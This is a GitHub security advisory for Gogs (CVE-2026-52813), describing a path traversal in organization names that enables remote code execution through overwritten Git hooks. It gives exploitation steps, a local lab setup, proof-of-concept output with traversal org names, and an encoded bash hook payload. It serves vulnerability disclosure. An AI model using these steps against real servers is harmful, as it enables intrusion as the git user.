GHSA-C39W-43GM-34H5
Vulnerability from github – Published: 2026-06-23 17:10 – Updated: 2026-07-21 13:40Summary
Organization names containing path traversal sequences (../) are accepted by Gogs, and repositories under them are written to paths following these path traversals. This allows storing/retrieving data for repositories at arbitrary locations on the filesystem.
By creating nested structure of Git repositories, one can overwrite the other's hooks configuration to result in Remote Code Execution (RCE).
Details
During organization creation, internal/database/org.go calls os.MkdirAll(repox.UserPath(org.Name)) without sanitizing org.Name.
https://github.com/gogs/gogs/blob/d7571322a04a29476d4241406ed50bf7eef0a5b7/internal/database/org.go#L165
Repository creation uses this name to decide where to write the Git bare repository's (org/name.git). By setting the org name to ../../../../tmp/test, and creating a repository under that organization, it gets written under /tmp/test on the server.
https://github.com/gogs/gogs/blob/d7571322a04a29476d4241406ed50bf7eef0a5b7/internal/repox/repox.go#L57-L58
An attacker can abuse this in a clever way by writing to the /data/gogs/data/tmp/local-r/1 directory, being a local worktree of the git repositories inside of Gogs. These directories are editable by Git. By creating a repository nested inside of there, files like config and hooks/update are now referenced through the path traversal, and are editable by Git. This allows the attacker to edit the hooks/update script with malicious Bash commands and then to trigger the hook.
The steps to exploit this inside of Gogs are roughly (ignoring some syncing dummy actions):
- Create regular outer repository and get its ID
- Create organization named
../../../../data/gogs/data/tmp/local-r/{ID}/nested - Create a repository inside this organization (eg.
rce), which will be written into the local clone of the outer repository - From the outer repository, edit
nested/rce.git/hooks/updateto contain malicious shell commands - Interact with the
rcerepository again to trigger the updated hook, and RCE is achieved
PoC
- Set up a default Gogs instance by saving the following content to
docker-compose.ymland runningdocker compose up:
services:
db:
image: postgres:16-alpine
environment:
POSTGRES_USER: gogs
POSTGRES_PASSWORD: gogs
POSTGRES_DB: gogs
volumes:
- postgres-data:/var/lib/postgresql/data
restart: unless-stopped
healthcheck:
test: [ "CMD-SHELL", "pg_isready -U gogs -d gogs" ]
interval: 5s
timeout: 5s
retries: 5
gogs:
image: gogs/gogs
depends_on:
db:
condition: service_healthy
ports:
- "3000:3000"
volumes:
- gogs-data:/data
restart: unless-stopped
volumes:
gogs-data:
postgres-data:
- Visit http://localhost:3000, set the Host to
db:5432and Password togogs. Under Admin Account Settings configure your admin account - As the attacker, register an account with username
attackerand passwordattackerat http://localhost:3000/user/sign_up - As the attacker, run the following script (in gist to avoid cluttering this advisory):
https://gist.github.com/JorianWoltjer/4b72063338b27140f4439c524d98f2b9
The output should look like:
$ python3 gogs-rce.py
step 1 token ok
step 2 create personal repo 201 full_name attacker/writer-bd426045
step 3 web editor new file on attacker / writer-bd426045
step 4 GET writer repo -> local-r 1
step 5 create org 201 local-r 1 username ../../../../data/gogs/data/tmp/local-r/1/nested
step 6 get org 200 username ../../../../data/gogs/data/tmp/local-r/1/nested
step 7 create repo 201 full_name ../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 html_url http://localhost:3000/../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 clone_url http://localhost:3000/../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7.git
step 8 get repo 200 owner.username ../../../../data/gogs/data/tmp/local-r/1/nested full_name ../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 empty False
Cloning into '/tmp/poc-writer-fy4k5064'...
remote: Enumerating objects: 6, done.
remote: Counting objects: 100% (6/6), done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 6 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
Unpacking objects: 100% (6/6), 491 bytes | 491.00 KiB/s, done.
step 9 clone writer repo -> /tmp/poc-writer-fy4k5064
[master 3cf84b2] poc: nested/rce-b175aca7.git hook path
1 file changed, 1 insertion(+)
create mode 100755 nested/rce-b175aca7.git/hooks/update
step 10 write nested/rce-b175aca7.git/hooks/update with echo 'aWQ=' | base64 -d | bash > pwned
Enumerating objects: 7, done.
Counting objects: 100% (7/7), done.
Delta compression using up to 14 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (6/6), 1022 bytes | 1022.00 KiB/s, done.
Total 6 (delta 0), reused 0 (delta 0), pack-reused 0
To http://localhost:3000/attacker/writer-bd426045.git
b0b9886..3cf84b2 master -> master
step 11 push writer
step 12 API new file on attacker / writer-bd426045
step 13 API new file on org ../../../../data/gogs/data/tmp/local-r/1/nested / rce-b175aca7
step 14 API new file on attacker / writer-bd426045
step 15 GET raw pwned 200 http://localhost:3000/attacker/writer-bd426045/raw/master/nested/rce-b175aca7.git/pwned
=== COMMAND OUTPUT ===
uid=1000(git) gid=1000(git) groups=1000(git)
Impact
In the default setting, users can self-register and then create their own organizations. From here they can perform this exploit to achieve RCE as the git user.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "gogs.io/gogs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.14.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52813"
],
"database_specific": {
"cwe_ids": [
"CWE-23"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T17:10:50Z",
"nvd_published_at": "2026-06-24T21:16:57Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nOrganization names containing path traversal sequences (`../`) are accepted by Gogs, and repositories under them are written to paths following these path traversals. This allows storing/retrieving data for repositories at arbitrary locations on the filesystem.\nBy creating nested structure of Git repositories, one can overwrite the other\u0027s `hooks` configuration to result in Remote Code Execution (RCE).\n\n### Details\n\nDuring organization creation, `internal/database/org.go` calls `os.MkdirAll(repox.UserPath(org.Name))` without sanitizing `org.Name`. \n\nhttps://github.com/gogs/gogs/blob/d7571322a04a29476d4241406ed50bf7eef0a5b7/internal/database/org.go#L165\n\nRepository creation uses this name to decide where to write the Git bare repository\u0027s (`org/name.git`). By setting the org name to `../../../../tmp/test`, and creating a repository under that organization, it gets written under `/tmp/test` on the server.\n\nhttps://github.com/gogs/gogs/blob/d7571322a04a29476d4241406ed50bf7eef0a5b7/internal/repox/repox.go#L57-L58\n\nAn attacker can abuse this in a clever way by writing to the `/data/gogs/data/tmp/local-r/1` directory, being a local worktree of the git repositories inside of Gogs. These directories are editable by Git. By creating a repository nested inside of there, files like `config` and `hooks/update` are now referenced through the path traversal, and are editable by Git. This allows the attacker to edit the `hooks/update` script with malicious Bash commands and then to trigger the hook.\n\nThe steps to exploit this inside of Gogs are roughly (ignoring some syncing dummy actions):\n\n1. Create regular outer repository and get its ID\n2. Create organization named `../../../../data/gogs/data/tmp/local-r/{ID}/nested`\n3. Create a repository inside this organization (eg. `rce`), which will be written into the local clone of the outer repository\n4. From the outer repository, edit `nested/rce.git/hooks/update` to contain malicious shell commands\n5. Interact with the `rce` repository again to trigger the updated hook, and RCE is achieved\n\n### PoC\n\n1. Set up a default Gogs instance by saving the following content to `docker-compose.yml` and running `docker compose up`:\n\n```yml\nservices:\n db:\n image: postgres:16-alpine\n environment:\n POSTGRES_USER: gogs\n POSTGRES_PASSWORD: gogs\n POSTGRES_DB: gogs\n volumes:\n - postgres-data:/var/lib/postgresql/data\n restart: unless-stopped\n healthcheck:\n test: [ \"CMD-SHELL\", \"pg_isready -U gogs -d gogs\" ]\n interval: 5s\n timeout: 5s\n retries: 5\n\n gogs:\n image: gogs/gogs\n depends_on:\n db:\n condition: service_healthy\n ports:\n - \"3000:3000\"\n volumes:\n - gogs-data:/data\n restart: unless-stopped\n\nvolumes:\n gogs-data:\n postgres-data:\n```\n\n2. Visit http://localhost:3000, set the *Host* to `db:5432` and *Password* to `gogs`. Under *Admin Account Settings* configure your admin account\n3. As the attacker, register an account with username `attacker` and password `attacker` at http://localhost:3000/user/sign_up\n4. As the attacker, run the following script (in gist to avoid cluttering this advisory):\n\nhttps://gist.github.com/JorianWoltjer/4b72063338b27140f4439c524d98f2b9\n\nThe output should look like:\n\n```shell\n$ python3 gogs-rce.py\nstep 1 token ok\nstep 2 create personal repo 201 full_name attacker/writer-bd426045\nstep 3 web editor new file on attacker / writer-bd426045\nstep 4 GET writer repo -\u003e local-r 1\nstep 5 create org 201 local-r 1 username ../../../../data/gogs/data/tmp/local-r/1/nested\nstep 6 get org 200 username ../../../../data/gogs/data/tmp/local-r/1/nested\nstep 7 create repo 201 full_name ../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 html_url http://localhost:3000/../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 clone_url http://localhost:3000/../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7.git\nstep 8 get repo 200 owner.username ../../../../data/gogs/data/tmp/local-r/1/nested full_name ../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 empty False\nCloning into \u0027/tmp/poc-writer-fy4k5064\u0027...\nremote: Enumerating objects: 6, done.\nremote: Counting objects: 100% (6/6), done.\nremote: Compressing objects: 100% (3/3), done.\nremote: Total 6 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)\nUnpacking objects: 100% (6/6), 491 bytes | 491.00 KiB/s, done.\nstep 9 clone writer repo -\u003e /tmp/poc-writer-fy4k5064\n[master 3cf84b2] poc: nested/rce-b175aca7.git hook path\n 1 file changed, 1 insertion(+)\n create mode 100755 nested/rce-b175aca7.git/hooks/update\nstep 10 write nested/rce-b175aca7.git/hooks/update with echo \u0027aWQ=\u0027 | base64 -d | bash \u003e pwned\nEnumerating objects: 7, done.\nCounting objects: 100% (7/7), done.\nDelta compression using up to 14 threads\nCompressing objects: 100% (2/2), done.\nWriting objects: 100% (6/6), 1022 bytes | 1022.00 KiB/s, done.\nTotal 6 (delta 0), reused 0 (delta 0), pack-reused 0\nTo http://localhost:3000/attacker/writer-bd426045.git\n b0b9886..3cf84b2 master -\u003e master\nstep 11 push writer\nstep 12 API new file on attacker / writer-bd426045\nstep 13 API new file on org ../../../../data/gogs/data/tmp/local-r/1/nested / rce-b175aca7\nstep 14 API new file on attacker / writer-bd426045\nstep 15 GET raw pwned 200 http://localhost:3000/attacker/writer-bd426045/raw/master/nested/rce-b175aca7.git/pwned\n\n=== COMMAND OUTPUT ===\nuid=1000(git) gid=1000(git) groups=1000(git)\n```\n\n### Impact\n\nIn the default setting, users can self-register and then create their own organizations. From here they can perform this exploit to achieve RCE as the `git` user.",
"id": "GHSA-c39w-43gm-34h5",
"modified": "2026-07-21T13:40:34Z",
"published": "2026-06-23T17:10:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/security/advisories/GHSA-c39w-43gm-34h5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52813"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/pull/8334"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/commit/f6acd467305943aae8403cbac81f0118dd1235d7"
},
{
"type": "PACKAGE",
"url": "https://github.com/gogs/gogs"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/releases/tag/v0.14.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Gogs has Path Traversal in organization name that results in RCE through Git hooks"
}
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